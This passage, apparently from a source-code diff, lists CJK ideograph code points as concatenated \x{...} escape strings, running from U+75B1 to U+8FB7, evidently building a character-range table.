+'\x{75B1}\x{75B2}\x{75B3}\x{75B5}\x{75B8}\x{75B9}\x{75BC}\x{75BD}\x{75BE}' .
+'\x{75C2}\x{75C3}\x{75C5}\x{75C7}\x{75CA}\x{75CD}\x{75D2}\x{75D4}\x{75D5}' .
+'\x{75D8}\x{75D9}\x{75DB}\x{75DE}\x{75E2}\x{75E3}\x{75E9}\x{75F0}\x{75F2}' .
+'\x{75F3}\x{75F4}\x{75FA}\x{75FC}\x{75FE}\x{75FF}\x{7601}\x{7609}\x{760B}' .
+'\x{760D}\x{761F}\x{7620}\x{7621}\x{7622}\x{7624}\x{7627}\x{7630}\x{7634}' .
+'\x{763B}\x{7642}\x{7646}\x{7647}\x{7648}\x{764C}\x{7652}\x{7656}\x{7658}' .
+'\x{765C}\x{7661}\x{7662}\x{7667}\x{7668}\x{7669}\x{766A}\x{766C}\x{7670}' .
+'\x{7672}\x{7676}\x{7678}\x{767A}\x{767B}\x{767C}\x{767D}\x{767E}\x{7680}' .
+'\x{7683}\x{7684}\x{7686}\x{7687}\x{7688}\x{768B}\x{768E}\x{7690}\x{7693}' .
+'\x{7696}\x{7699}\x{769A}\x{76AE}\x{76B0}\x{76B4}\x{76B7}\x{76B8}\x{76B9}' .
+'\x{76BA}\x{76BF}\x{76C2}\x{76C3}\x{76C6}\x{76C8}\x{76CA}\x{76CD}\x{76D2}' .
+'\x{76D6}\x{76D7}\x{76DB}\x{76DC}\x{76DE}\x{76DF}\x{76E1}\x{76E3}\x{76E4}' .
+'\x{76E5}\x{76E7}\x{76EA}\x{76EE}\x{76F2}\x{76F4}\x{76F8}\x{76FB}\x{76FE}' .
+'\x{7701}\x{7704}\x{7707}\x{7708}\x{7709}\x{770B}\x{770C}\x{771B}\x{771E}' .
+'\x{771F}\x{7720}\x{7724}\x{7725}\x{7726}\x{7729}\x{7737}\x{7738}\x{773A}' .
+'\x{773C}\x{7740}\x{7747}\x{775A}\x{775B}\x{7761}\x{7763}\x{7765}\x{7766}' .
+'\x{7768}\x{776B}\x{7779}\x{777E}\x{777F}\x{778B}\x{778E}\x{7791}\x{779E}' .
+'\x{77A0}\x{77A5}\x{77AC}\x{77AD}\x{77B0}\x{77B3}\x{77B6}\x{77B9}\x{77BB}' .
+'\x{77BC}\x{77BD}\x{77BF}\x{77C7}\x{77CD}\x{77D7}\x{77DA}\x{77DB}\x{77DC}' .
+'\x{77E2}\x{77E3}\x{77E5}\x{77E7}\x{77E9}\x{77ED}\x{77EE}\x{77EF}\x{77F3}' .
+'\x{77FC}\x{7802}\x{780C}\x{7812}\x{7814}\x{7815}\x{7820}\x{7825}\x{7826}' .
+'\x{7827}\x{7832}\x{7834}\x{783A}\x{783F}\x{7845}\x{785D}\x{786B}\x{786C}' .
+'\x{786F}\x{7872}\x{7874}\x{787C}\x{7881}\x{7886}\x{7887}\x{788C}\x{788D}' .
+'\x{788E}\x{7891}\x{7893}\x{7895}\x{7897}\x{789A}\x{78A3}\x{78A7}\x{78A9}' .
+'\x{78AA}\x{78AF}\x{78B5}\x{78BA}\x{78BC}\x{78BE}\x{78C1}\x{78C5}\x{78C6}' .
+'\x{78CA}\x{78CB}\x{78D0}\x{78D1}\x{78D4}\x{78DA}\x{78E7}\x{78E8}\x{78EC}' .
+'\x{78EF}\x{78F4}\x{78FD}\x{7901}\x{7907}\x{790E}\x{7911}\x{7912}\x{7919}' .
+'\x{7926}\x{792A}\x{792B}\x{792C}\x{793A}\x{793C}\x{793E}\x{7940}\x{7941}' .
+'\x{7947}\x{7948}\x{7949}\x{7950}\x{7953}\x{7955}\x{7956}\x{7957}\x{795A}' .
+'\x{795D}\x{795E}\x{795F}\x{7960}\x{7962}\x{7965}\x{7968}\x{796D}\x{7977}' .
+'\x{797A}\x{797F}\x{7980}\x{7981}\x{7984}\x{7985}\x{798A}\x{798D}\x{798E}' .
+'\x{798F}\x{799D}\x{79A6}\x{79A7}\x{79AA}\x{79AE}\x{79B0}\x{79B3}\x{79B9}' .
+'\x{79BA}\x{79BD}\x{79BE}\x{79BF}\x{79C0}\x{79C1}\x{79C9}\x{79CB}\x{79D1}' .
+'\x{79D2}\x{79D5}\x{79D8}\x{79DF}\x{79E1}\x{79E3}\x{79E4}\x{79E6}\x{79E7}' .
+'\x{79E9}\x{79EC}\x{79F0}\x{79FB}\x{7A00}\x{7A08}\x{7A0B}\x{7A0D}\x{7A0E}' .
+'\x{7A14}\x{7A17}\x{7A18}\x{7A19}\x{7A1A}\x{7A1C}\x{7A1F}\x{7A20}\x{7A2E}' .
+'\x{7A31}\x{7A32}\x{7A37}\x{7A3B}\x{7A3C}\x{7A3D}\x{7A3E}\x{7A3F}\x{7A40}' .
+'\x{7A42}\x{7A43}\x{7A46}\x{7A49}\x{7A4D}\x{7A4E}\x{7A4F}\x{7A50}\x{7A57}' .
+'\x{7A61}\x{7A62}\x{7A63}\x{7A69}\x{7A6B}\x{7A70}\x{7A74}\x{7A76}\x{7A79}' .
+'\x{7A7A}\x{7A7D}\x{7A7F}\x{7A81}\x{7A83}\x{7A84}\x{7A88}\x{7A92}\x{7A93}' .
+'\x{7A95}\x{7A96}\x{7A97}\x{7A98}\x{7A9F}\x{7AA9}\x{7AAA}\x{7AAE}\x{7AAF}' .
+'\x{7AB0}\x{7AB6}\x{7ABA}\x{7ABF}\x{7AC3}\x{7AC4}\x{7AC5}\x{7AC7}\x{7AC8}' .
+'\x{7ACA}\x{7ACB}\x{7ACD}\x{7ACF}\x{7AD2}\x{7AD3}\x{7AD5}\x{7AD9}\x{7ADA}' .
+'\x{7ADC}\x{7ADD}\x{7ADF}\x{7AE0}\x{7AE1}\x{7AE2}\x{7AE3}\x{7AE5}\x{7AE6}' .
+'\x{7AEA}\x{7AED}\x{7AEF}\x{7AF0}\x{7AF6}\x{7AF8}\x{7AF9}\x{7AFA}\x{7AFF}' .
+'\x{7B02}\x{7B04}\x{7B06}\x{7B08}\x{7B0A}\x{7B0B}\x{7B0F}\x{7B11}\x{7B18}' .
+'\x{7B19}\x{7B1B}\x{7B1E}\x{7B20}\x{7B25}\x{7B26}\x{7B28}\x{7B2C}\x{7B33}' .
+'\x{7B35}\x{7B36}\x{7B39}\x{7B45}\x{7B46}\x{7B48}\x{7B49}\x{7B4B}\x{7B4C}' .
+'\x{7B4D}\x{7B4F}\x{7B50}\x{7B51}\x{7B52}\x{7B54}\x{7B56}\x{7B5D}\x{7B65}' .
+'\x{7B67}\x{7B6C}\x{7B6E}\x{7B70}\x{7B71}\x{7B74}\x{7B75}\x{7B7A}\x{7B86}' .
+'\x{7B87}\x{7B8B}\x{7B8D}\x{7B8F}\x{7B92}\x{7B94}\x{7B95}\x{7B97}\x{7B98}' .
+'\x{7B99}\x{7B9A}\x{7B9C}\x{7B9D}\x{7B9F}\x{7BA1}\x{7BAA}\x{7BAD}\x{7BB1}' .
+'\x{7BB4}\x{7BB8}\x{7BC0}\x{7BC1}\x{7BC4}\x{7BC6}\x{7BC7}\x{7BC9}\x{7BCB}' .
+'\x{7BCC}\x{7BCF}\x{7BDD}\x{7BE0}\x{7BE4}\x{7BE5}\x{7BE6}\x{7BE9}\x{7BED}' .
+'\x{7BF3}\x{7BF6}\x{7BF7}\x{7C00}\x{7C07}\x{7C0D}\x{7C11}\x{7C12}\x{7C13}' .
+'\x{7C14}\x{7C17}\x{7C1F}\x{7C21}\x{7C23}\x{7C27}\x{7C2A}\x{7C2B}\x{7C37}' .
+'\x{7C38}\x{7C3D}\x{7C3E}\x{7C3F}\x{7C40}\x{7C43}\x{7C4C}\x{7C4D}\x{7C4F}' .
+'\x{7C50}\x{7C54}\x{7C56}\x{7C58}\x{7C5F}\x{7C60}\x{7C64}\x{7C65}\x{7C6C}' .
+'\x{7C73}\x{7C75}\x{7C7E}\x{7C81}\x{7C82}\x{7C83}\x{7C89}\x{7C8B}\x{7C8D}' .
+'\x{7C90}\x{7C92}\x{7C95}\x{7C97}\x{7C98}\x{7C9B}\x{7C9F}\x{7CA1}\x{7CA2}' .
+'\x{7CA4}\x{7CA5}\x{7CA7}\x{7CA8}\x{7CAB}\x{7CAD}\x{7CAE}\x{7CB1}\x{7CB2}' .
+'\x{7CB3}\x{7CB9}\x{7CBD}\x{7CBE}\x{7CC0}\x{7CC2}\x{7CC5}\x{7CCA}\x{7CCE}' .
+'\x{7CD2}\x{7CD6}\x{7CD8}\x{7CDC}\x{7CDE}\x{7CDF}\x{7CE0}\x{7CE2}\x{7CE7}' .
+'\x{7CEF}\x{7CF2}\x{7CF4}\x{7CF6}\x{7CF8}\x{7CFA}\x{7CFB}\x{7CFE}\x{7D00}' .
+'\x{7D02}\x{7D04}\x{7D05}\x{7D06}\x{7D0A}\x{7D0B}\x{7D0D}\x{7D10}\x{7D14}' .
+'\x{7D15}\x{7D17}\x{7D18}\x{7D19}\x{7D1A}\x{7D1B}\x{7D1C}\x{7D20}\x{7D21}' .
+'\x{7D22}\x{7D2B}\x{7D2C}\x{7D2E}\x{7D2F}\x{7D30}\x{7D32}\x{7D33}\x{7D35}' .
+'\x{7D39}\x{7D3A}\x{7D3F}\x{7D42}\x{7D43}\x{7D44}\x{7D45}\x{7D46}\x{7D4B}' .
+'\x{7D4C}\x{7D4E}\x{7D4F}\x{7D50}\x{7D56}\x{7D5B}\x{7D5E}\x{7D61}\x{7D62}' .
+'\x{7D63}\x{7D66}\x{7D68}\x{7D6E}\x{7D71}\x{7D72}\x{7D73}\x{7D75}\x{7D76}' .
+'\x{7D79}\x{7D7D}\x{7D89}\x{7D8F}\x{7D93}\x{7D99}\x{7D9A}\x{7D9B}\x{7D9C}' .
+'\x{7D9F}\x{7DA2}\x{7DA3}\x{7DAB}\x{7DAC}\x{7DAD}\x{7DAE}\x{7DAF}\x{7DB0}' .
+'\x{7DB1}\x{7DB2}\x{7DB4}\x{7DB5}\x{7DB8}\x{7DBA}\x{7DBB}\x{7DBD}\x{7DBE}' .
+'\x{7DBF}\x{7DC7}\x{7DCA}\x{7DCB}\x{7DCF}\x{7DD1}\x{7DD2}\x{7DD5}\x{7DD8}' .
+'\x{7DDA}\x{7DDC}\x{7DDD}\x{7DDE}\x{7DE0}\x{7DE1}\x{7DE4}\x{7DE8}\x{7DE9}' .
+'\x{7DEC}\x{7DEF}\x{7DF2}\x{7DF4}\x{7DFB}\x{7E01}\x{7E04}\x{7E05}\x{7E09}' .
+'\x{7E0A}\x{7E0B}\x{7E12}\x{7E1B}\x{7E1E}\x{7E1F}\x{7E21}\x{7E22}\x{7E23}' .
+'\x{7E26}\x{7E2B}\x{7E2E}\x{7E31}\x{7E32}\x{7E35}\x{7E37}\x{7E39}\x{7E3A}' .
+'\x{7E3B}\x{7E3D}\x{7E3E}\x{7E41}\x{7E43}\x{7E46}\x{7E4A}\x{7E4B}\x{7E4D}' .
+'\x{7E54}\x{7E55}\x{7E56}\x{7E59}\x{7E5A}\x{7E5D}\x{7E5E}\x{7E66}\x{7E67}' .
+'\x{7E69}\x{7E6A}\x{7E6D}\x{7E70}\x{7E79}\x{7E7B}\x{7E7C}\x{7E7D}\x{7E7F}' .
+'\x{7E82}\x{7E83}\x{7E88}\x{7E89}\x{7E8C}\x{7E8E}\x{7E8F}\x{7E90}\x{7E92}' .
+'\x{7E93}\x{7E94}\x{7E96}\x{7E9B}\x{7E9C}\x{7F36}\x{7F38}\x{7F3A}\x{7F45}' .
+'\x{7F4C}\x{7F4D}\x{7F4E}\x{7F50}\x{7F51}\x{7F54}\x{7F55}\x{7F58}\x{7F5F}' .
+'\x{7F60}\x{7F67}\x{7F68}\x{7F69}\x{7F6A}\x{7F6B}\x{7F6E}\x{7F70}\x{7F72}' .
+'\x{7F75}\x{7F77}\x{7F78}\x{7F79}\x{7F82}\x{7F83}\x{7F85}\x{7F86}\x{7F87}' .
+'\x{7F88}\x{7F8A}\x{7F8C}\x{7F8E}\x{7F94}\x{7F9A}\x{7F9D}\x{7F9E}\x{7FA3}' .
+'\x{7FA4}\x{7FA8}\x{7FA9}\x{7FAE}\x{7FAF}\x{7FB2}\x{7FB6}\x{7FB8}\x{7FB9}' .
+'\x{7FBD}\x{7FC1}\x{7FC5}\x{7FC6}\x{7FCA}\x{7FCC}\x{7FD2}\x{7FD4}\x{7FD5}' .
+'\x{7FE0}\x{7FE1}\x{7FE6}\x{7FE9}\x{7FEB}\x{7FF0}\x{7FF3}\x{7FF9}\x{7FFB}' .
+'\x{7FFC}\x{8000}\x{8001}\x{8003}\x{8004}\x{8005}\x{8006}\x{800B}\x{800C}' .
+'\x{8010}\x{8012}\x{8015}\x{8017}\x{8018}\x{8019}\x{801C}\x{8021}\x{8028}' .
+'\x{8033}\x{8036}\x{803B}\x{803D}\x{803F}\x{8046}\x{804A}\x{8052}\x{8056}' .
+'\x{8058}\x{805A}\x{805E}\x{805F}\x{8061}\x{8062}\x{8068}\x{806F}\x{8070}' .
+'\x{8072}\x{8073}\x{8074}\x{8076}\x{8077}\x{8079}\x{807D}\x{807E}\x{807F}' .
+'\x{8084}\x{8085}\x{8086}\x{8087}\x{8089}\x{808B}\x{808C}\x{8093}\x{8096}' .
+'\x{8098}\x{809A}\x{809B}\x{809D}\x{80A1}\x{80A2}\x{80A5}\x{80A9}\x{80AA}' .
+'\x{80AC}\x{80AD}\x{80AF}\x{80B1}\x{80B2}\x{80B4}\x{80BA}\x{80C3}\x{80C4}' .
+'\x{80C6}\x{80CC}\x{80CE}\x{80D6}\x{80D9}\x{80DA}\x{80DB}\x{80DD}\x{80DE}' .
+'\x{80E1}\x{80E4}\x{80E5}\x{80EF}\x{80F1}\x{80F4}\x{80F8}\x{80FC}\x{80FD}' .
+'\x{8102}\x{8105}\x{8106}\x{8107}\x{8108}\x{8109}\x{810A}\x{811A}\x{811B}' .
+'\x{8123}\x{8129}\x{812F}\x{8131}\x{8133}\x{8139}\x{813E}\x{8146}\x{814B}' .
+'\x{814E}\x{8150}\x{8151}\x{8153}\x{8154}\x{8155}\x{815F}\x{8165}\x{8166}' .
+'\x{816B}\x{816E}\x{8170}\x{8171}\x{8174}\x{8178}\x{8179}\x{817A}\x{817F}' .
+'\x{8180}\x{8182}\x{8183}\x{8188}\x{818A}\x{818F}\x{8193}\x{8195}\x{819A}' .
+'\x{819C}\x{819D}\x{81A0}\x{81A3}\x{81A4}\x{81A8}\x{81A9}\x{81B0}\x{81B3}' .
+'\x{81B5}\x{81B8}\x{81BA}\x{81BD}\x{81BE}\x{81BF}\x{81C0}\x{81C2}\x{81C6}' .
+'\x{81C8}\x{81C9}\x{81CD}\x{81D1}\x{81D3}\x{81D8}\x{81D9}\x{81DA}\x{81DF}' .
+'\x{81E0}\x{81E3}\x{81E5}\x{81E7}\x{81E8}\x{81EA}\x{81ED}\x{81F3}\x{81F4}' .
+'\x{81FA}\x{81FB}\x{81FC}\x{81FE}\x{8201}\x{8202}\x{8205}\x{8207}\x{8208}' .
+'\x{8209}\x{820A}\x{820C}\x{820D}\x{820E}\x{8210}\x{8212}\x{8216}\x{8217}' .
+'\x{8218}\x{821B}\x{821C}\x{821E}\x{821F}\x{8229}\x{822A}\x{822B}\x{822C}' .
+'\x{822E}\x{8233}\x{8235}\x{8236}\x{8237}\x{8238}\x{8239}\x{8240}\x{8247}' .
+'\x{8258}\x{8259}\x{825A}\x{825D}\x{825F}\x{8262}\x{8264}\x{8266}\x{8268}' .
+'\x{826A}\x{826B}\x{826E}\x{826F}\x{8271}\x{8272}\x{8276}\x{8277}\x{8278}' .
+'\x{827E}\x{828B}\x{828D}\x{8292}\x{8299}\x{829D}\x{829F}\x{82A5}\x{82A6}' .
+'\x{82AB}\x{82AC}\x{82AD}\x{82AF}\x{82B1}\x{82B3}\x{82B8}\x{82B9}\x{82BB}' .
+'\x{82BD}\x{82C5}\x{82D1}\x{82D2}\x{82D3}\x{82D4}\x{82D7}\x{82D9}\x{82DB}' .
+'\x{82DC}\x{82DE}\x{82DF}\x{82E1}\x{82E3}\x{82E5}\x{82E6}\x{82E7}\x{82EB}' .
+'\x{82F1}\x{82F3}\x{82F4}\x{82F9}\x{82FA}\x{82FB}\x{8302}\x{8303}\x{8304}' .
+'\x{8305}\x{8306}\x{8309}\x{830E}\x{8316}\x{8317}\x{8318}\x{831C}\x{8323}' .
+'\x{8328}\x{832B}\x{832F}\x{8331}\x{8332}\x{8334}\x{8335}\x{8336}\x{8338}' .
+'\x{8339}\x{8340}\x{8345}\x{8349}\x{834A}\x{834F}\x{8350}\x{8352}\x{8358}' .
+'\x{8373}\x{8375}\x{8377}\x{837B}\x{837C}\x{8385}\x{8387}\x{8389}\x{838A}' .
+'\x{838E}\x{8393}\x{8396}\x{839A}\x{839E}\x{839F}\x{83A0}\x{83A2}\x{83A8}' .
+'\x{83AA}\x{83AB}\x{83B1}\x{83B5}\x{83BD}\x{83C1}\x{83C5}\x{83CA}\x{83CC}' .
+'\x{83CE}\x{83D3}\x{83D6}\x{83D8}\x{83DC}\x{83DF}\x{83E0}\x{83E9}\x{83EB}' .
+'\x{83EF}\x{83F0}\x{83F1}\x{83F2}\x{83F4}\x{83F7}\x{83FB}\x{83FD}\x{8403}' .
+'\x{8404}\x{8407}\x{840B}\x{840C}\x{840D}\x{840E}\x{8413}\x{8420}\x{8422}' .
+'\x{8429}\x{842A}\x{842C}\x{8431}\x{8435}\x{8438}\x{843C}\x{843D}\x{8446}' .
+'\x{8449}\x{844E}\x{8457}\x{845B}\x{8461}\x{8462}\x{8463}\x{8466}\x{8469}' .
+'\x{846B}\x{846C}\x{846D}\x{846E}\x{846F}\x{8471}\x{8475}\x{8477}\x{8479}' .
+'\x{847A}\x{8482}\x{8484}\x{848B}\x{8490}\x{8494}\x{8499}\x{849C}\x{849F}' .
+'\x{84A1}\x{84AD}\x{84B2}\x{84B8}\x{84B9}\x{84BB}\x{84BC}\x{84BF}\x{84C1}' .
+'\x{84C4}\x{84C6}\x{84C9}\x{84CA}\x{84CB}\x{84CD}\x{84D0}\x{84D1}\x{84D6}' .
+'\x{84D9}\x{84DA}\x{84EC}\x{84EE}\x{84F4}\x{84FC}\x{84FF}\x{8500}\x{8506}' .
+'\x{8511}\x{8513}\x{8514}\x{8515}\x{8517}\x{8518}\x{851A}\x{851F}\x{8521}' .
+'\x{8526}\x{852C}\x{852D}\x{8535}\x{853D}\x{8540}\x{8541}\x{8543}\x{8548}' .
+'\x{8549}\x{854A}\x{854B}\x{854E}\x{8555}\x{8557}\x{8558}\x{855A}\x{8563}' .
+'\x{8568}\x{8569}\x{856A}\x{856D}\x{8577}\x{857E}\x{8580}\x{8584}\x{8587}' .
+'\x{8588}\x{858A}\x{8590}\x{8591}\x{8594}\x{8597}\x{8599}\x{859B}\x{859C}' .
+'\x{85A4}\x{85A6}\x{85A8}\x{85A9}\x{85AA}\x{85AB}\x{85AC}\x{85AE}\x{85AF}' .
+'\x{85B9}\x{85BA}\x{85C1}\x{85C9}\x{85CD}\x{85CF}\x{85D0}\x{85D5}\x{85DC}' .
+'\x{85DD}\x{85E4}\x{85E5}\x{85E9}\x{85EA}\x{85F7}\x{85F9}\x{85FA}\x{85FB}' .
+'\x{85FE}\x{8602}\x{8606}\x{8607}\x{860A}\x{860B}\x{8613}\x{8616}\x{8617}' .
+'\x{861A}\x{8622}\x{862D}\x{862F}\x{8630}\x{863F}\x{864D}\x{864E}\x{8650}' .
+'\x{8654}\x{8655}\x{865A}\x{865C}\x{865E}\x{865F}\x{8667}\x{866B}\x{8671}' .
+'\x{8679}\x{867B}\x{868A}\x{868B}\x{868C}\x{8693}\x{8695}\x{86A3}\x{86A4}' .
+'\x{86A9}\x{86AA}\x{86AB}\x{86AF}\x{86B0}\x{86B6}\x{86C4}\x{86C6}\x{86C7}' .
+'\x{86C9}\x{86CB}\x{86CD}\x{86CE}\x{86D4}\x{86D9}\x{86DB}\x{86DE}\x{86DF}' .
+'\x{86E4}\x{86E9}\x{86EC}\x{86ED}\x{86EE}\x{86EF}\x{86F8}\x{86F9}\x{86FB}' .
+'\x{86FE}\x{8700}\x{8702}\x{8703}\x{8706}\x{8708}\x{8709}\x{870A}\x{870D}' .
+'\x{8711}\x{8712}\x{8718}\x{871A}\x{871C}\x{8725}\x{8729}\x{8734}\x{8737}' .
+'\x{873B}\x{873F}\x{8749}\x{874B}\x{874C}\x{874E}\x{8753}\x{8755}\x{8757}' .
+'\x{8759}\x{875F}\x{8760}\x{8763}\x{8766}\x{8768}\x{876A}\x{876E}\x{8774}' .
+'\x{8776}\x{8778}\x{877F}\x{8782}\x{878D}\x{879F}\x{87A2}\x{87AB}\x{87AF}' .
+'\x{87B3}\x{87BA}\x{87BB}\x{87BD}\x{87C0}\x{87C4}\x{87C6}\x{87C7}\x{87CB}' .
+'\x{87D0}\x{87D2}\x{87E0}\x{87EF}\x{87F2}\x{87F6}\x{87F7}\x{87F9}\x{87FB}' .
+'\x{87FE}\x{8805}\x{880D}\x{880E}\x{880F}\x{8811}\x{8815}\x{8816}\x{8821}' .
+'\x{8822}\x{8823}\x{8827}\x{8831}\x{8836}\x{8839}\x{883B}\x{8840}\x{8842}' .
+'\x{8844}\x{8846}\x{884C}\x{884D}\x{8852}\x{8853}\x{8857}\x{8859}\x{885B}' .
+'\x{885D}\x{885E}\x{8861}\x{8862}\x{8863}\x{8868}\x{886B}\x{8870}\x{8872}' .
+'\x{8875}\x{8877}\x{887D}\x{887E}\x{887F}\x{8881}\x{8882}\x{8888}\x{888B}' .
+'\x{888D}\x{8892}\x{8896}\x{8897}\x{8899}\x{889E}\x{88A2}\x{88A4}\x{88AB}' .
+'\x{88AE}\x{88B0}\x{88B1}\x{88B4}\x{88B5}\x{88B7}\x{88BF}\x{88C1}\x{88C2}' .
+'\x{88C3}\x{88C4}\x{88C5}\x{88CF}\x{88D4}\x{88D5}\x{88D8}\x{88D9}\x{88DC}' .
+'\x{88DD}\x{88DF}\x{88E1}\x{88E8}\x{88F2}\x{88F3}\x{88F4}\x{88F8}\x{88F9}' .
+'\x{88FC}\x{88FD}\x{88FE}\x{8902}\x{8904}\x{8907}\x{890A}\x{890C}\x{8910}' .
+'\x{8912}\x{8913}\x{891D}\x{891E}\x{8925}\x{892A}\x{892B}\x{8936}\x{8938}' .
+'\x{893B}\x{8941}\x{8943}\x{8944}\x{894C}\x{894D}\x{8956}\x{895E}\x{895F}' .
+'\x{8960}\x{8964}\x{8966}\x{896A}\x{896D}\x{896F}\x{8972}\x{8974}\x{8977}' .
+'\x{897E}\x{897F}\x{8981}\x{8983}\x{8986}\x{8987}\x{8988}\x{898A}\x{898B}' .
+'\x{898F}\x{8993}\x{8996}\x{8997}\x{8998}\x{899A}\x{89A1}\x{89A6}\x{89A7}' .
+'\x{89A9}\x{89AA}\x{89AC}\x{89AF}\x{89B2}\x{89B3}\x{89BA}\x{89BD}\x{89BF}' .
+'\x{89C0}\x{89D2}\x{89DA}\x{89DC}\x{89DD}\x{89E3}\x{89E6}\x{89E7}\x{89F4}' .
+'\x{89F8}\x{8A00}\x{8A02}\x{8A03}\x{8A08}\x{8A0A}\x{8A0C}\x{8A0E}\x{8A10}' .
+'\x{8A13}\x{8A16}\x{8A17}\x{8A18}\x{8A1B}\x{8A1D}\x{8A1F}\x{8A23}\x{8A25}' .
+'\x{8A2A}\x{8A2D}\x{8A31}\x{8A33}\x{8A34}\x{8A36}\x{8A3A}\x{8A3B}\x{8A3C}' .
+'\x{8A41}\x{8A46}\x{8A48}\x{8A50}\x{8A51}\x{8A52}\x{8A54}\x{8A55}\x{8A5B}' .
+'\x{8A5E}\x{8A60}\x{8A62}\x{8A63}\x{8A66}\x{8A69}\x{8A6B}\x{8A6C}\x{8A6D}' .
+'\x{8A6E}\x{8A70}\x{8A71}\x{8A72}\x{8A73}\x{8A7C}\x{8A82}\x{8A84}\x{8A85}' .
+'\x{8A87}\x{8A89}\x{8A8C}\x{8A8D}\x{8A91}\x{8A93}\x{8A95}\x{8A98}\x{8A9A}' .
+'\x{8A9E}\x{8AA0}\x{8AA1}\x{8AA3}\x{8AA4}\x{8AA5}\x{8AA6}\x{8AA8}\x{8AAC}' .
+'\x{8AAD}\x{8AB0}\x{8AB2}\x{8AB9}\x{8ABC}\x{8ABF}\x{8AC2}\x{8AC4}\x{8AC7}' .
+'\x{8ACB}\x{8ACC}\x{8ACD}\x{8ACF}\x{8AD2}\x{8AD6}\x{8ADA}\x{8ADB}\x{8ADC}' .
+'\x{8ADE}\x{8AE0}\x{8AE1}\x{8AE2}\x{8AE4}\x{8AE6}\x{8AE7}\x{8AEB}\x{8AED}' .
+'\x{8AEE}\x{8AF1}\x{8AF3}\x{8AF7}\x{8AF8}\x{8AFA}\x{8AFE}\x{8B00}\x{8B01}' .
+'\x{8B02}\x{8B04}\x{8B07}\x{8B0C}\x{8B0E}\x{8B10}\x{8B14}\x{8B16}\x{8B17}' .
+'\x{8B19}\x{8B1A}\x{8B1B}\x{8B1D}\x{8B20}\x{8B21}\x{8B26}\x{8B28}\x{8B2B}' .
+'\x{8B2C}\x{8B33}\x{8B39}\x{8B3E}\x{8B41}\x{8B49}\x{8B4C}\x{8B4E}\x{8B4F}' .
+'\x{8B56}\x{8B58}\x{8B5A}\x{8B5B}\x{8B5C}\x{8B5F}\x{8B66}\x{8B6B}\x{8B6C}' .
+'\x{8B6F}\x{8B70}\x{8B71}\x{8B72}\x{8B74}\x{8B77}\x{8B7D}\x{8B80}\x{8B83}' .
+'\x{8B8A}\x{8B8C}\x{8B8E}\x{8B90}\x{8B92}\x{8B93}\x{8B96}\x{8B99}\x{8B9A}' .
+'\x{8C37}\x{8C3A}\x{8C3F}\x{8C41}\x{8C46}\x{8C48}\x{8C4A}\x{8C4C}\x{8C4E}' .
+'\x{8C50}\x{8C55}\x{8C5A}\x{8C61}\x{8C62}\x{8C6A}\x{8C6B}\x{8C6C}\x{8C78}' .
+'\x{8C79}\x{8C7A}\x{8C7C}\x{8C82}\x{8C85}\x{8C89}\x{8C8A}\x{8C8C}\x{8C8D}' .
+'\x{8C8E}\x{8C94}\x{8C98}\x{8C9D}\x{8C9E}\x{8CA0}\x{8CA1}\x{8CA2}\x{8CA7}' .
+'\x{8CA8}\x{8CA9}\x{8CAA}\x{8CAB}\x{8CAC}\x{8CAD}\x{8CAE}\x{8CAF}\x{8CB0}' .
+'\x{8CB2}\x{8CB3}\x{8CB4}\x{8CB6}\x{8CB7}\x{8CB8}\x{8CBB}\x{8CBC}\x{8CBD}' .
+'\x{8CBF}\x{8CC0}\x{8CC1}\x{8CC2}\x{8CC3}\x{8CC4}\x{8CC7}\x{8CC8}\x{8CCA}' .
+'\x{8CCD}\x{8CCE}\x{8CD1}\x{8CD3}\x{8CDA}\x{8CDB}\x{8CDC}\x{8CDE}\x{8CE0}' .
+'\x{8CE2}\x{8CE3}\x{8CE4}\x{8CE6}\x{8CEA}\x{8CED}\x{8CFA}\x{8CFB}\x{8CFC}' .
+'\x{8CFD}\x{8D04}\x{8D05}\x{8D07}\x{8D08}\x{8D0A}\x{8D0B}\x{8D0D}\x{8D0F}' .
+'\x{8D10}\x{8D13}\x{8D14}\x{8D16}\x{8D64}\x{8D66}\x{8D67}\x{8D6B}\x{8D6D}' .
+'\x{8D70}\x{8D71}\x{8D73}\x{8D74}\x{8D77}\x{8D81}\x{8D85}\x{8D8A}\x{8D99}' .
+'\x{8DA3}\x{8DA8}\x{8DB3}\x{8DBA}\x{8DBE}\x{8DC2}\x{8DCB}\x{8DCC}\x{8DCF}' .
+'\x{8DD6}\x{8DDA}\x{8DDB}\x{8DDD}\x{8DDF}\x{8DE1}\x{8DE3}\x{8DE8}\x{8DEA}' .
+'\x{8DEB}\x{8DEF}\x{8DF3}\x{8DF5}\x{8DFC}\x{8DFF}\x{8E08}\x{8E09}\x{8E0A}' .
+'\x{8E0F}\x{8E10}\x{8E1D}\x{8E1E}\x{8E1F}\x{8E2A}\x{8E30}\x{8E34}\x{8E35}' .
+'\x{8E42}\x{8E44}\x{8E47}\x{8E48}\x{8E49}\x{8E4A}\x{8E4C}\x{8E50}\x{8E55}' .
+'\x{8E59}\x{8E5F}\x{8E60}\x{8E63}\x{8E64}\x{8E72}\x{8E74}\x{8E76}\x{8E7C}' .
+'\x{8E81}\x{8E84}\x{8E85}\x{8E87}\x{8E8A}\x{8E8B}\x{8E8D}\x{8E91}\x{8E93}' .
+'\x{8E94}\x{8E99}\x{8EA1}\x{8EAA}\x{8EAB}\x{8EAC}\x{8EAF}\x{8EB0}\x{8EB1}' .
+'\x{8EBE}\x{8EC5}\x{8EC6}\x{8EC8}\x{8ECA}\x{8ECB}\x{8ECC}\x{8ECD}\x{8ED2}' .
+'\x{8EDB}\x{8EDF}\x{8EE2}\x{8EE3}\x{8EEB}\x{8EF8}\x{8EFB}\x{8EFC}\x{8EFD}' .
+'\x{8EFE}\x{8F03}\x{8F05}\x{8F09}\x{8F0A}\x{8F0C}\x{8F12}\x{8F13}\x{8F14}' .
+'\x{8F15}\x{8F19}\x{8F1B}\x{8F1C}\x{8F1D}\x{8F1F}\x{8F26}\x{8F29}\x{8F2A}' .
+'\x{8F2F}\x{8F33}\x{8F38}\x{8F39}\x{8F3B}\x{8F3E}\x{8F3F}\x{8F42}\x{8F44}' .
+'\x{8F45}\x{8F46}\x{8F49}\x{8F4C}\x{8F4D}\x{8F4E}\x{8F57}\x{8F5C}\x{8F5F}' .
+'\x{8F61}\x{8F62}\x{8F63}\x{8F64}\x{8F9B}\x{8F9C}\x{8F9E}\x{8F9F}\x{8FA3}' .
+'\x{8FA7}\x{8FA8}\x{8FAD}\x{8FAE}\x{8FAF}\x{8FB0}\x{8FB1}\x{8FB2}\x{8FB7}' .
